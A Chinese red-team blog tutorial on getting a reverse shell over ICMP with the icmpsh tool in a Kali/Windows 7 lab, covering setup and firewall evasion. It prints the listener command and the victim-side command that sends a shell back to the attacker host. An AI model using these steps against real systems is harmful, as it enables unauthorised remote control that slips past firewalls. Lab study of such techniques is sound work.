利用ICMP(icmpsh)协议反弹Shell - 渗透红队笔记
渗透攻击红队
一个专注于红队攻击的公众号
大家好,这里是 渗透攻击红队 的第 十 篇文章,本公众号会记录一些我学习红队攻击的复现笔记(由浅到深),每周一更。
ICMP隧道是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为Ping命令的回复,攻击者可以利用命令得到比回复更多的ICMP请求。在通常情况下,每个Ping命令都有相对应的回复与请求。
在一些条件下,如果攻击者使用各类隧道技术(HTTP,DNS,常规正反端口转发等)操作都失败了,常常会通过ping命令访问远程计算机,尝试进行ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包), 实现不受限制的网络访问。
常见的ICMP隧道工具有:icmpsh、PingTunnel、icmptunnel、powershell icmp等。
利用ICMP协议反弹Shell
icmpsh
icmpsh工具使用简单,是一个跨平台工具,运行不需要管理员权限。
icmpsh下载地址:
https://github.com/inquisb/icmpsh
使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。
安装Python-impacket库:
apt-get install python-impacket
安装库如果出现这种情况:
那么更新一下APT库就好了:
sudo apt-get update
sudo apt-get upgrade
如果没有pip的话那么安装pip:
1.下载+解压+安装setuptools包:
root@kali:~#:wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
root@kali:~#:tar zxvf setuptools-18.5.tar.gz
root@kali:~#:cd setuptools-18.5
root@kali:~#:python setup.py build
root@kali:~#:python setup.py install
2.下载+解压+安装pip
root@kali:~#:wget https://pypi.python.org/packages/source/p/pip/pip-7.1.2.tar.gz
root@kali:~#:tar zxvf pip-7.1.2.tar.gz
root@kali:~#:cd pip-7.1.2
root@kali:~#:sudo python setup.py install
如果还是不行那么就使用这条命令安装:
pip2 install impacket
因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.
sysctl -w net.ipv4.icmp_echo_ignore_all=1
实验完成后开启系统ping的话将最后的1改为0即可
在这里我说一下,运行run.sh会出错,不知道为啥:
于是我使用了icmpsh的Python脚本运行:
python icmpsh_m.py 192.168.217.129【kali】 192.168.217.132【win7】
然后在Win7上执行命令:
icmpsh.exe -t 192.168.217.129
这个时候就成功反弹shell到kali:
参考文章:
https://pentestlab.blog/2017/07/28/command-and-control-icmp/